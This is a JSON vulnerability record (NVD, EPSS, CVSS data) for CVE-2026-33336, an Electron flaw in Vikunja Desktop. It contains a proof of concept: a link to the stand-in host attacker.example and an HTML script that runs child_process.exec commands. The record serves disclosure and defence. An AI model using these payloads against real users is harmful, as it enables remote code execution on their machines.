{"cve":"CVE-2026-33336","nvd":{"published":"2026-03-24T16:16:33.387","modified":"2026-06-17T10:37:20.490","status":"Analyzed","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `<a href=\"https://...\">` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `<meta http-equiv=\"refresh\">` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href=\"https://evil.example/exploit\">Click here for the updated design spec</a>`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `<a href=\"https://attacker.example/poc.html\">Meeting notes</a>`\n3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","cvss_v4":{"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":6.5},"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8},"cwes":["CWE-94"],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf","https://vikunja.io/changelog/vikunja-v2.2.0-was-released"],"products":["vikunja:vikunja"],"source":"nvd","synced_at":"2026-10-19T22:26:19.218427112+00:00"},"epss":{"cve":"CVE-2026-33336","score":0.01159,"percentile":0.67111,"date":"2026-10-31"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}